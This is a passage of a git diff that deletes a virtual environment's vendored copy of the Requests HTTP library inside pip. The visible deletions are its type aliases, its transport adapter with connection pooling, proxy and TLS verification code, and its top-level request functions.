`str`. - :rtype: bool - """ - assert isinstance(u_string, str) - try: - u_string.encode("ascii") - return True - except UnicodeEncodeError: - return False diff --git a/venv/Lib/site-packages/pip/_vendor/requests/_types.py b/venv/Lib/site-packages/pip/_vendor/requests/_types.py deleted file mode 100644 index b2273d612b17726609afb45a29058625b79eae60..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/_types.py +++ /dev/null @@ -1,183 +0,0 @@ -""" -requests._types -~~~~~~~~~~~~~~~ - -This module contains type aliases used internally by the Requests library. -These types are not part of the public API and must not be relied upon -by external code. -""" - -from __future__ import annotations - -from collections.abc import Callable, Iterable, Mapping, MutableMapping, Sequence -from typing import ( - TYPE_CHECKING, - Any, - Protocol, - TypeAlias, - TypeVar, - runtime_checkable, -) - -_T_co = TypeVar("_T_co", covariant=True) -_KT_co = TypeVar("_KT_co", covariant=True) -_VT_co = TypeVar("_VT_co", covariant=True) - - -@runtime_checkable -class SupportsRead(Protocol[_T_co]): - def read(self, length: int = ..., /) -> _T_co: ... - - -@runtime_checkable -class SupportsItems(Protocol[_KT_co, _VT_co]): - def items(self) -> Iterable[tuple[_KT_co, _VT_co]]: ... - - -# These are needed at runtime for default_hooks() return type -HookType: TypeAlias = Callable[["Response"], Any] -HooksInputType: TypeAlias = Mapping[str, Iterable[HookType] | HookType] - - -def is_prepared(request: PreparedRequest) -> TypeIs[_ValidatedRequest]: - """Verify a PreparedRequest has been fully prepared.""" - if TYPE_CHECKING: - return request.url is not None and request.method is not None - # noop at runtime to avoid AssertionError - return True - - -if TYPE_CHECKING: - from http.cookiejar import CookieJar - from typing import TypeAlias, TypedDict - - from typing_extensions import ( - Buffer, # TODO: move to collections.abc when Python >= 3.12 - TypeIs, # TODO: move to typing when Python >= 3.13 - ) - - from .auth import AuthBase - from .cookies import RequestsCookieJar - from .models import PreparedRequest, Response - from .structures import CaseInsensitiveDict - - class _ValidatedRequest(PreparedRequest): - """Subtype asserting a PreparedRequest has been fully prepared before calling. - - The override suppression is required because mutable attribute types are - invariant (Liskov), but we only narrow after preparation is complete. This - is the explicit contract for Requests but Python's typing doesn't have a - better way to represent the requirement. - """ - - url: str # type: ignore[reportIncompatibleVariableOverride] - method: str # type: ignore[reportIncompatibleVariableOverride] - - # Type aliases for core API concepts (ordered by request() signature) - UriType: TypeAlias = str | bytes - - _ParamsMappingKeyType: TypeAlias = str | bytes | int | float - _ParamsMappingValueType: TypeAlias = ( - str | bytes | int | float | Iterable[str | bytes | int | float] | None - ) - ParamsType: TypeAlias = ( - SupportsItems[_ParamsMappingKeyType, _ParamsMappingValueType] - | tuple[tuple[_ParamsMappingKeyType, _ParamsMappingValueType], ...] - | Iterable[tuple[_ParamsMappingKeyType, _ParamsMappingValueType]] - | str - | bytes - | None - ) - - KVDataType: TypeAlias = Iterable[tuple[Any, Any]] | SupportsItems[Any, Any] - - RawDataType: TypeAlias = KVDataType | str | bytes - StreamDataType: TypeAlias = SupportsRead[str | bytes] - EncodableDataType: TypeAlias = RawDataType | StreamDataType - - DataType: TypeAlias = ( - KVDataType - | Iterable[bytes | str] - | str - | bytes - | Buffer - | SupportsRead[str | bytes] - | None - ) - - BodyType: TypeAlias = ( - bytes | str | Iterable[bytes | str] | SupportsRead[bytes | str] | None - ) - - HeadersType: TypeAlias = Mapping[str, str | bytes] | None - - CookiesType: TypeAlias = RequestsCookieJar | Mapping[str, str] - - # Building blocks for FilesType - _FileName: TypeAlias = str | None - _FileContent: TypeAlias = SupportsRead[str | bytes] | str | bytes - _FileSpecBasic: TypeAlias = tuple[_FileName, _FileContent] - _FileSpecWithContentType: TypeAlias = tuple[_FileName, _FileContent, str] - _FileSpecWithHeaders: TypeAlias = tuple[ - _FileName, _FileContent, str, CaseInsensitiveDict[str] | Mapping[str, str] - ] - _FileSpec: TypeAlias = ( - _FileContent | _FileSpecBasic | _FileSpecWithContentType | _FileSpecWithHeaders - ) - FilesType: TypeAlias = ( - Mapping[str, _FileSpec] | Iterable[tuple[str, _FileSpec]] | None - ) - - AuthType: TypeAlias = ( - tuple[str, str] | AuthBase | Callable[[PreparedRequest], PreparedRequest] | None - ) - - TimeoutType: TypeAlias = float | tuple[float | None, float | None] | None - ProxiesType: TypeAlias = MutableMapping[str, str] - HooksType: TypeAlias = dict[str, list[HookType]] | None - VerifyType: TypeAlias = bool | str - CertType: TypeAlias = str | tuple[str, str] | None - JsonType: TypeAlias = ( - None - | bool - | int - | float - | str - | Sequence["JsonType"] - | Mapping[str, "JsonType"] - ) - - # TypedDicts for Unpack kwargs (PEP 692) - - class BaseRequestKwargs(TypedDict, total=False): - headers: HeadersType - cookies: RequestsCookieJar | CookieJar | dict[str, str] | None - files: FilesType - auth: AuthType - timeout: TimeoutType - allow_redirects: bool - proxies: dict[str, str] | None - hooks: HooksInputType | None - stream: bool | None - verify: VerifyType | None - cert: CertType - - class RequestKwargs(BaseRequestKwargs, total=False): - """kwargs for request(), options(), head(), delete().""" - - params: ParamsType - data: DataType - json: JsonType - - class GetKwargs(BaseRequestKwargs, total=False): - data: DataType - json: JsonType - - class PostKwargs(BaseRequestKwargs, total=False): - params: ParamsType - - class DataKwargs(BaseRequestKwargs, total=False): - """kwargs for put(), patch().""" - - params: ParamsType - json: JsonType diff --git a/venv/Lib/site-packages/pip/_vendor/requests/adapters.py b/venv/Lib/site-packages/pip/_vendor/requests/adapters.py deleted file mode 100644 index 5bf54afa3ac2420c102365378e9dfca653876fd2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/adapters.py +++ /dev/null @@ -1,748 +0,0 @@ -""" -requests.adapters -~~~~~~~~~~~~~~~~~ - -This module contains the transport adapters that Requests uses to define -and maintain connections. -""" - -from __future__ import annotations - -import os.path -import socket # noqa: F401 # type: ignore[reportUnusedImport] -import typing -import warnings -from typing import Any - -from pip._vendor.urllib3.exceptions import ( - ClosedPoolError, - ConnectTimeoutError, - LocationValueError, - MaxRetryError, - NewConnectionError, - ProtocolError, - ReadTimeoutError, - ResponseError, -) -from pip._vendor.urllib3.exceptions import HTTPError as _HTTPError -from pip._vendor.urllib3.exceptions import InvalidHeader as _InvalidHeader -from pip._vendor.urllib3.exceptions import ProxyError as _ProxyError -from pip._vendor.urllib3.exceptions import SSLError as _SSLError -from pip._vendor.urllib3.poolmanager import PoolManager, proxy_from_url -from pip._vendor.urllib3.util import Timeout as TimeoutSauce -from pip._vendor.urllib3.util import parse_url -from pip._vendor.urllib3.util.retry import Retry - -from .auth import _basic_auth_str # type: ignore[reportPrivateUsage] -from .compat import basestring, urlparse -from .cookies import extract_cookies_to_jar -from .exceptions import ( - ConnectionError, - ConnectTimeout, - InvalidHeader, - InvalidProxyURL, - InvalidSchema, - InvalidURL, - ProxyError, - ReadTimeout, - RetryError, - SSLError, -) -from .models import Response -from .structures import CaseInsensitiveDict -from .utils import ( - DEFAULT_CA_BUNDLE_PATH, - get_auth_from_url, - get_encoding_from_headers, - prepend_scheme_if_needed, - select_proxy, - urldefragauth, -) - -try: - from pip._vendor.urllib3.contrib.socks import SOCKSProxyManager # type: ignore[assignment] -except ImportError: - - def SOCKSProxyManager(*args: Any, **kwargs: Any) -> None: - raise InvalidSchema("Missing dependencies for SOCKS support.") - - -if typing.TYPE_CHECKING: - from pip._vendor.urllib3.connectionpool import HTTPConnectionPool - from pip._vendor.urllib3.poolmanager import PoolManager as _PoolManager - - from . import _types as _t - from .models import PreparedRequest - -from ._types import is_prepared as _is_prepared - -DEFAULT_POOLBLOCK = False -DEFAULT_POOLSIZE = 10 -DEFAULT_RETRIES = 0 -DEFAULT_POOL_TIMEOUT = None - - -def _urllib3_request_context( - request: PreparedRequest, - verify: bool | str | None, - client_cert: tuple[str, str] | str | None, - poolmanager: PoolManager, -) -> tuple[dict[str, Any], dict[str, Any]]: - host_params: dict[str, Any] = {} - pool_kwargs: dict[str, Any] = {} - parsed_request_url = urlparse(request.url) - scheme = parsed_request_url.scheme.lower() - port = parsed_request_url.port - - cert_reqs = "CERT_REQUIRED" - if verify is False: - cert_reqs = "CERT_NONE" - elif isinstance(verify, str): - if not os.path.isdir(verify): - pool_kwargs["ca_certs"] = verify - else: - pool_kwargs["ca_cert_dir"] = verify - pool_kwargs["cert_reqs"] = cert_reqs - if client_cert is not None: - if isinstance(client_cert, tuple) and len(client_cert) == 2: - pool_kwargs["cert_file"] = client_cert[0] - pool_kwargs["key_file"] = client_cert[1] - else: - # According to our docs, we allow users to specify just the client - # cert path - pool_kwargs["cert_file"] = client_cert - host_params = { - "scheme": scheme, - "host": parsed_request_url.hostname, - "port": port, - } - return host_params, pool_kwargs - - -class BaseAdapter: - """The Base Transport Adapter""" - - def __init__(self) -> None: - super().__init__() - - def send( - self, - request: PreparedRequest, - stream: bool = False, - timeout: _t.TimeoutType = None, - verify: _t.VerifyType = True, - cert: _t.CertType = None, - proxies: dict[str, str] | None = None, - ) -> Response: - """Sends PreparedRequest object. Returns Response object. - - :param request: The :class:`PreparedRequest ` being sent. - :param stream: (optional) Whether to stream the request content. - :param timeout: (optional) How long to wait for the server to send - data before giving up, as a float, or a :ref:`(connect timeout, - read timeout) ` tuple. - :type timeout: float or tuple - :param verify: (optional) Either a boolean, in which case it controls whether we verify - the server's TLS certificate, or a string, in which case it must be a path - to a CA bundle to use - :param cert: (optional) Any user-provided SSL certificate to be trusted. - :param proxies: (optional) The proxies dictionary to apply to the request. - """ - raise NotImplementedError - - def close(self) -> None: - """Cleans up adapter specific items.""" - raise NotImplementedError - - -class HTTPAdapter(BaseAdapter): - """The built-in HTTP Adapter for urllib3. - - Provides a general-case interface for Requests sessions to contact HTTP and - HTTPS urls by implementing the Transport Adapter interface. This class will - usually be created by the :class:`Session ` class under the - covers. - - :param pool_connections: The number of urllib3 connection pools to cache. - :param pool_maxsize: The maximum number of connections to save in the pool. - :param max_retries: The maximum number of retries each connection - should attempt. Note, this applies only to failed DNS lookups, socket - connections and connection timeouts, never to requests where data has - made it to the server. By default, Requests does not retry failed - connections. If you need granular control over the conditions under - which we retry a request, import urllib3's ``Retry`` class and pass - that instead. - :param pool_block: Whether the connection pool should block for connections. - - Usage:: - - >>> import requests - >>> s = requests.Session() - >>> a = requests.adapters.HTTPAdapter(max_retries=3) - >>> s.mount('http://', a) - """ - - __attrs__: list[str] = [ - "max_retries", - "config", - "_pool_connections", - "_pool_maxsize", - "_pool_block", - ] - - max_retries: Retry - config: dict[str, Any] - proxy_manager: dict[str, Any] - _pool_connections: int - _pool_maxsize: int - _pool_block: bool - poolmanager: _PoolManager - - def __init__( - self, - pool_connections: int = DEFAULT_POOLSIZE, - pool_maxsize: int = DEFAULT_POOLSIZE, - max_retries: int | Retry = DEFAULT_RETRIES, - pool_block: bool = DEFAULT_POOLBLOCK, - ) -> None: - if max_retries == DEFAULT_RETRIES: - self.max_retries = Retry(0, read=False) - else: - self.max_retries = Retry.from_int(max_retries) - self.config = {} - self.proxy_manager = {} - - super().__init__() - - self._pool_connections = pool_connections - self._pool_maxsize = pool_maxsize - self._pool_block = pool_block - - self.init_poolmanager(pool_connections, pool_maxsize, block=pool_block) - - def __getstate__(self) -> dict[str, Any]: - return {attr: getattr(self, attr, None) for attr in self.__attrs__} - - def __setstate__(self, state: dict[str, Any]) -> None: - # Can't handle by adding 'proxy_manager' to self.__attrs__ because - # self.poolmanager uses a lambda function, which isn't pickleable. - self.proxy_manager = {} - self.config = {} - - for attr, value in state.items(): - setattr(self, attr, value) - - self.init_poolmanager( - self._pool_connections, self._pool_maxsize, block=self._pool_block - ) - - def init_poolmanager( - self, - connections: int, - maxsize: int, - block: bool = DEFAULT_POOLBLOCK, - **pool_kwargs: Any, - ) -> None: - """Initializes a urllib3 PoolManager. - - This method should not be called from user code, and is only - exposed for use when subclassing the - :class:`HTTPAdapter `. - - :param connections: The number of urllib3 connection pools to cache. - :param maxsize: The maximum number of connections to save in the pool. - :param block: Block when no free connections are available. - :param pool_kwargs: Extra keyword arguments used to initialize the Pool Manager. - """ - # save these values for pickling - self._pool_connections = connections - self._pool_maxsize = maxsize - self._pool_block = block - - self.poolmanager = PoolManager( - num_pools=connections, - maxsize=maxsize, - block=block, - **pool_kwargs, - ) - - def proxy_manager_for(self, proxy: str, **proxy_kwargs: Any) -> Any: - """Return urllib3 ProxyManager for the given proxy. - - This method should not be called from user code, and is only - exposed for use when subclassing the - :class:`HTTPAdapter `. - - :param proxy: The proxy to return a urllib3 ProxyManager for. - :param proxy_kwargs: Extra keyword arguments used to configure the Proxy Manager. - :returns: ProxyManager - :rtype: urllib3.ProxyManager - """ - if proxy in self.proxy_manager: - manager = self.proxy_manager[proxy] - elif proxy.lower().startswith("socks"): - username, password = get_auth_from_url(proxy) - manager = self.proxy_manager[proxy] = SOCKSProxyManager( - proxy, - username=username, - password=password, - num_pools=self._pool_connections, - maxsize=self._pool_maxsize, - block=self._pool_block, - **proxy_kwargs, - ) - else: - proxy_headers = self.proxy_headers(proxy) - manager = self.proxy_manager[proxy] = proxy_from_url( - proxy, - proxy_headers=proxy_headers, - num_pools=self._pool_connections, - maxsize=self._pool_maxsize, - block=self._pool_block, - **proxy_kwargs, - ) - - return manager - - def cert_verify( - self, conn: Any, url: str, verify: _t.VerifyType, cert: _t.CertType - ) -> None: - """Verify a SSL certificate. This method should not be called from user - code, and is only exposed for use when subclassing the - :class:`HTTPAdapter `. - - :param conn: The urllib3 connection object associated with the cert. - :param url: The requested URL. - :param verify: Either a boolean, in which case it controls whether we verify - the server's TLS certificate, or a string, in which case it must be a path - to a CA bundle to use - :param cert: The SSL certificate to verify. - """ - if url.lower().startswith("https") and verify: - cert_loc = None - - # Allow self-specified cert location. - if verify is not True: - cert_loc = verify - - if not cert_loc: - cert_loc = DEFAULT_CA_BUNDLE_PATH - - if not cert_loc or not os.path.exists(cert_loc): - raise OSError( - f"Could not find a suitable TLS CA certificate bundle, " - f"invalid path: {cert_loc}" - ) - - conn.cert_reqs = "CERT_REQUIRED" - - if not os.path.isdir(cert_loc): - conn.ca_certs = cert_loc - else: - conn.ca_cert_dir = cert_loc - else: - conn.cert_reqs = "CERT_NONE" - conn.ca_certs = None - conn.ca_cert_dir = None - - if cert: - if not isinstance(cert, basestring): - conn.cert_file = cert[0] - conn.key_file = cert[1] - else: - conn.cert_file = cert - conn.key_file = None - if conn.cert_file and not os.path.exists(conn.cert_file): - raise OSError( - f"Could not find the TLS certificate file, " - f"invalid path: {conn.cert_file}" - ) - if conn.key_file and not os.path.exists(conn.key_file): - raise OSError( - f"Could not find the TLS key file, invalid path: {conn.key_file}" - ) - - def build_response(self, req: PreparedRequest, resp: Any) -> Response: - """Builds a :class:`Response ` object from a urllib3 - response. This should not be called from user code, and is only exposed - for use when subclassing the - :class:`HTTPAdapter ` - - :param req: The :class:`PreparedRequest ` used to generate the response. - :param resp: The urllib3 response object. - :rtype: requests.Response - """ - assert _is_prepared(req) - response = Response() - - # Fallback to None if there's no status_code, for whatever reason. - response.status_code = getattr(resp, "status", None) # type: ignore[assignment] - - # Make headers case-insensitive. - response.headers = CaseInsensitiveDict(getattr(resp, "headers", {})) - - # Set encoding. - response.encoding = get_encoding_from_headers(response.headers) - response.raw = resp - response.reason = response.raw.reason - - if isinstance(req.url, bytes): - response.url = req.url.decode("utf-8") - else: - response.url = req.url - - # Add new cookies from the server. - extract_cookies_to_jar(response.cookies, req, resp) - - # Give the Response some context. - response.request = req - response.connection = self - - return response - - def build_connection_pool_key_attributes( - self, request: PreparedRequest, verify: _t.VerifyType, cert: _t.CertType = None - ) -> tuple[dict[str, Any], dict[str, Any]]: - """Build the PoolKey attributes used by urllib3 to return a connection. - - This looks at the PreparedRequest, the user-specified verify value, - and the value of the cert parameter to determine what PoolKey values - to use to select a connection from a given urllib3 Connection Pool. - - The SSL related pool key arguments are not consistently set. As of - this writing, use the following to determine what keys may be in that - dictionary: - - * If ``verify`` is ``True``, ``"ssl_context"`` will be set and will be the - default Requests SSL Context - * If ``verify`` is ``False``, ``"ssl_context"`` will not be set but - ``"cert_reqs"`` will be set - * If ``verify`` is a string, (i.e., it is a user-specified trust bundle) - ``"ca_certs"`` will be set if the string is not a directory recognized - by :py:func:`os.path.isdir`, otherwise ``"ca_cert_dir"`` will be - set. - * If ``"cert"`` is specified, ``"cert_file"`` will always be set. If - ``"cert"`` is a tuple with a second item, ``"key_file"`` will also - be present - - To override these settings, one may subclass this class, call this - method and use the above logic to change parameters as desired. For - example, if one wishes to use a custom :py:class:`ssl.SSLContext` one - must both set ``"ssl_context"`` and based on what else they require, - alter the other keys to ensure the desired behaviour. - - :param request: - The PreparedRequest being sent over the connection. - :type request: - :class:`~requests.models.PreparedRequest` - :param verify: - Either a boolean, in which case it controls whether - we verify the server's TLS certificate, or a string, in which case it - must be a path to a CA bundle to use. - :param cert: - (optional) Any user-provided SSL certificate for client - authentication (a.k.a., mTLS). This may be a string (i.e., just - the path to a file which holds both certificate and key) or a - tuple of length 2 with the certificate file path and key file - path. - :returns: - A tuple of two dictionaries. The first is the "host parameters" - portion of the Pool Key including scheme, hostname, and port. The - second is a dictionary of SSLContext related parameters. - """ - return _urllib3_request_context(request, verify, cert, self.poolmanager) - - def get_connection_with_tls_context( - self, - request: PreparedRequest, - verify: _t.VerifyType, - proxies: dict[str, str] | None = None, - cert: _t.CertType = None, - ) -> HTTPConnectionPool: - """Returns a urllib3 connection for the given request and TLS settings. - This should not be called from user code, and is only exposed for use - when subclassing the :class:`HTTPAdapter `. - - :param request: - The :class:`PreparedRequest ` object to be sent - over the connection. - :param verify: - Either a boolean, in which case it controls whether we verify the - server's TLS certificate, or a string, in which case it must be a - path to a CA bundle to use. - :param proxies: - (optional) The proxies dictionary to apply to the request. - :param cert: - (optional) Any user-provided SSL certificate to be used for client - authentication (a.k.a., mTLS). - :rtype: - urllib3.HTTPConnectionPool - """ - assert _is_prepared(request) - - proxy = select_proxy(request.url, proxies) - try: - host_params, pool_kwargs = self.build_connection_pool_key_attributes( - request, - verify, - cert, - ) - except ValueError as e: - raise InvalidURL(e, request=request) - if proxy: - proxy = prepend_scheme_if_needed(proxy, "http") - proxy_url = parse_url(proxy) - if not proxy_url.host: - raise InvalidProxyURL( - "Please check proxy URL. It is malformed " - "and could be missing the host." - ) - proxy_manager = self.proxy_manager_for(proxy) - conn = proxy_manager.connection_from_host( - **host_params, pool_kwargs=pool_kwargs - ) - else: - # Only scheme should be lower case - conn = self.poolmanager.connection_from_host( - **host_params, pool_kwargs=pool_kwargs - ) - - return conn - - def get_connection( - self, url: str, proxies: dict[str, str] | None = None - ) -> HTTPConnectionPool: - """DEPRECATED: Users should move to `get_connection_with_tls_context` - for all subclasses of HTTPAdapter using Requests>=2.32.2. - - Returns a urllib3 connection for the given URL. This should not be - called from user code, and is only exposed for use when subclassing the - :class:`HTTPAdapter `. - - :param url: The URL to connect to. - :param proxies: (optional) A Requests-style dictionary of proxies used on this request. - :rtype: urllib3.HTTPConnectionPool - """ - warnings.warn( - ( - "`get_connection` has been deprecated in favor of " - "`get_connection_with_tls_context`. Custom HTTPAdapter subclasses " - "will need to migrate for Requests>=2.32.2. Please see " - "https://github.com/psf/requests/pull/6710 for more details." - ), - DeprecationWarning, - ) - proxy = select_proxy(url, proxies) - - if proxy: - proxy = prepend_scheme_if_needed(proxy, "http") - proxy_url = parse_url(proxy) - if not proxy_url.host: - raise InvalidProxyURL( - "Please check proxy URL. It is malformed " - "and could be missing the host." - ) - proxy_manager = self.proxy_manager_for(proxy) - conn = proxy_manager.connection_from_url(url) - else: - # Only scheme should be lower case - parsed = urlparse(url) - url = parsed.geturl() - conn = self.poolmanager.connection_from_url(url) - - return conn - - def close(self) -> None: - """Disposes of any internal state. - - Currently, this closes the PoolManager and any active ProxyManager, - which closes any pooled connections. - """ - self.poolmanager.clear() - for proxy in self.proxy_manager.values(): - proxy.clear() - - def request_url( - self, request: PreparedRequest, proxies: dict[str, str] | None - ) -> str: - """Obtain the url to use when making the final request. - - If the message is being sent through a HTTP proxy, the full URL has to - be used. Otherwise, we should only use the path portion of the URL. - - This should not be called from user code, and is only exposed for use - when subclassing the - :class:`HTTPAdapter `. - - :param request: The :class:`PreparedRequest ` being sent. - :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs. - :rtype: str - """ - assert _is_prepared(request) - - proxy = select_proxy(request.url, proxies) - scheme = urlparse(request.url).scheme - - is_proxied_http_request = proxy and scheme != "https" - using_socks_proxy = False - if proxy: - proxy_scheme = urlparse(proxy).scheme.lower() - using_socks_proxy = proxy_scheme.startswith("socks") - - url = request.path_url - - if is_proxied_http_request and not using_socks_proxy: - url = urldefragauth(request.url) - - return url - - def add_headers(self, request: PreparedRequest, **kwargs: Any) -> None: - """Add any headers needed by the connection. As of v2.0 this does - nothing by default, but is left for overriding by users that subclass - the :class:`HTTPAdapter `. - - This should not be called from user code, and is only exposed for use - when subclassing the - :class:`HTTPAdapter `. - - :param request: The :class:`PreparedRequest ` to add headers to. - :param kwargs: The keyword arguments from the call to send(). - """ - pass - - def proxy_headers(self, proxy: str) -> dict[str, str]: - """Returns a dictionary of the headers to add to any request sent - through a proxy. This works with urllib3 magic to ensure that they are - correctly sent to the proxy, rather than in a tunnelled request if - CONNECT is being used. - - This should not be called from user code, and is only exposed for use - when subclassing the - :class:`HTTPAdapter `. - - :param proxy: The url of the proxy being used for this request. - :rtype: dict - """ - headers: dict[str, str] = {} - username, password = get_auth_from_url(proxy) - - if username: - headers["Proxy-Authorization"] = _basic_auth_str(username, password) - - return headers - - def send( - self, - request: PreparedRequest, - stream: bool = False, - timeout: _t.TimeoutType = None, - verify: _t.VerifyType = True, - cert: _t.CertType = None, - proxies: dict[str, str] | None = None, - ) -> Response: - """Sends PreparedRequest object. Returns Response object. - - :param request: The :class:`PreparedRequest ` being sent. - :param stream: (optional) Whether to stream the request content. - :param timeout: (optional) How long to wait for the server to send - data before giving up, as a float, or a :ref:`(connect timeout, - read timeout) ` tuple. - :type timeout: float or tuple or urllib3 Timeout object - :param verify: (optional) Either a boolean, in which case it controls whether - we verify the server's TLS certificate, or a string, in which case it - must be a path to a CA bundle to use - :param cert: (optional) Any user-provided SSL certificate to be trusted. - :param proxies: (optional) The proxies dictionary to apply to the request. - :rtype: requests.Response - """ - - assert _is_prepared(request) - - try: - conn = self.get_connection_with_tls_context( - request, verify, proxies=proxies, cert=cert - ) - except LocationValueError as e: - raise InvalidURL(e, request=request) - - self.cert_verify(conn, request.url, verify, cert) - url = self.request_url(request, proxies) - self.add_headers( - request, - stream=stream, - timeout=timeout, - verify=verify, - cert=cert, - proxies=proxies, - ) - - chunked = not (request.body is None or "Content-Length" in request.headers) - - if isinstance(timeout, tuple): - try: - connect, read = timeout - resolved_timeout = TimeoutSauce(connect=connect, read=read) - except ValueError: - raise ValueError( - f"Invalid timeout {timeout}. Pass a (connect, read) timeout tuple, " - f"or a single float to set both timeouts to the same value." - ) - elif isinstance(timeout, TimeoutSauce): - resolved_timeout = timeout - else: - resolved_timeout = TimeoutSauce(connect=timeout, read=timeout) - - try: - resp = conn.urlopen( - method=request.method, - url=url, - body=request.body, # type: ignore[arg-type] # urllib3 stubs don't accept Iterable[bytes | str] - headers=request.headers, # type: ignore[arg-type] # urllib3#3072 - redirect=False, - assert_same_host=False, - preload_content=False, - decode_content=False, - retries=self.max_retries, - timeout=resolved_timeout, - chunked=chunked, - ) - - except (ProtocolError, OSError) as err: - raise ConnectionError(err, request=request) - - except MaxRetryError as e: - if isinstance(e.reason, ConnectTimeoutError): - # TODO: Remove this in 3.0.0: see #2811 - if not isinstance(e.reason, NewConnectionError): - raise ConnectTimeout(e, request=request) - - if isinstance(e.reason, ResponseError): - raise RetryError(e, request=request) - - if isinstance(e.reason, _ProxyError): - raise ProxyError(e, request=request) - - if isinstance(e.reason, _SSLError): - # This branch is for urllib3 v1.22 and later. - raise SSLError(e, request=request) - - raise ConnectionError(e, request=request) - - except ClosedPoolError as e: - raise ConnectionError(e, request=request) - - except _ProxyError as e: - raise ProxyError(e) - - except (_SSLError, _HTTPError) as e: - if isinstance(e, _SSLError): - # This branch is for urllib3 versions earlier than v1.22 - raise SSLError(e, request=request) - elif isinstance(e, ReadTimeoutError): - raise ReadTimeout(e, request=request) - elif isinstance(e, _InvalidHeader): - raise InvalidHeader(e, request=request) - else: - raise - - return self.build_response(request, resp) diff --git a/venv/Lib/site-packages/pip/_vendor/requests/api.py b/venv/Lib/site-packages/pip/_vendor/requests/api.py deleted file mode 100644 index eeb3b54d7f27e2c843080dfe81dfdb0d460c2b31..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/api.py +++ /dev/null @@ -1,180 +0,0 @@ -""" -requests.api -~~~~~~~~~~~~ - -This module implements the Requests API. - -:copyright: (c) 2012 by Kenneth Reitz. -:license: Apache2, see LICENSE for more details. -""" - -from __future__ import annotations - -from typing import TYPE_CHECKING - -from . import sessions -from .models import Response - -if TYPE_CHECKING: - from typing_extensions import Unpack - - from . import _types as _t - - -def request( - method: str, url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs] -) -> Response: - """Constructs and sends a :class:`Request `. - - :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``. - :param url: URL for the new :class:`Request` object. - :param params: (optional) Dictionary, list of tuples or bytes to send - in the query string for the :class:`Request`. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`. - :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`. - :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`. - :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload. - ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')`` - or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content_type'`` is a string - defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers - to add for the file. - :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth. - :param timeout: (optional) How many seconds to wait for the server to send data - before giving up, as a float, or a :ref:`(connect timeout, read - timeout) ` tuple. - :type timeout: float or tuple - :param allow_redirects: (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to ``True``. - :type allow_redirects: bool - :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy. - :param verify: (optional) Either a boolean, in which case it controls whether we verify - the server's TLS certificate, or a string, in which case it must be a path - to a CA bundle to use. Defaults to ``True``. - :param stream: (optional) if ``False``, the response content will be immediately downloaded. - :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair. - :return: :class:`Response ` object - :rtype: requests.Response - - Usage:: - - >>> import requests - >>> req = requests.request('GET', 'https://httpbin.org/get') - >>> req - - """ - - # By using the 'with' statement we are sure the session is closed, thus we - # avoid leaving sockets open which can trigger a ResourceWarning in some - # cases, and look like a memory leak in others. - with sessions.Session() as session: - return session.request(method=method, url=url, **kwargs) - - -def get( - url: _t.UriType, params: _t.ParamsType = None, **kwargs: Unpack[_t.GetKwargs] -) -> Response: - r"""Sends a GET request. - - :param url: URL for the new :class:`Request` object. - :param params: (optional) Dictionary, list of tuples or bytes to send - in the query string for the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :return: :class:`Response ` object - :rtype: requests.Response - """ - - return request("get", url, params=params, **kwargs) - - -def options(url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs]) -> Response: - r"""Sends an OPTIONS request. - - :param url: URL for the new :class:`Request` object. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :return: :class:`Response ` object - :rtype: requests.Response - """ - - return request("options", url, **kwargs) - - -def head(url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs]) -> Response: - r"""Sends a HEAD request. - - :param url: URL for the new :class:`Request` object. - :param \*\*kwargs: Optional arguments that ``request`` takes. If - `allow_redirects` is not provided, it will be set to `False` (as - opposed to the default :meth:`request` behavior). - :return: :class:`Response ` object - :rtype: requests.Response - """ - - kwargs.setdefault("allow_redirects", False) - return request("head", url, **kwargs) - - -def post( - url: _t.UriType, - data: _t.DataType = None, - json: _t.JsonType = None, - **kwargs: Unpack[_t.PostKwargs], -) -> Response: - r"""Sends a POST request. - - :param url: URL for the new :class:`Request` object. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :return: :class:`Response ` object - :rtype: requests.Response - """ - - return request("post", url, data=data, json=json, **kwargs) - - -def put( - url: _t.UriType, data: _t.DataType = None, **kwargs: Unpack[_t.DataKwargs] -) -> Response: - r"""Sends a PUT request. - - :param url: URL for the new :class:`Request` object. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :return: :class:`Response ` object - :rtype: requests.Response - """ - - return request("put", url, data=data, **kwargs) - - -def patch( - url: _t.UriType, data: _t.DataType = None, **kwargs: Unpack[_t.DataKwargs] -) -> Response: - r"""Sends a PATCH request. - - :param url: URL for the new :class:`Request` object. - :param data: (optional) Dictionary, list of tuples, bytes, or file-like - object to send in the body of the :class:`Request`. - :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :return: :class:`Response ` object - :rtype: requests.Response - """ - - return request("patch", url, 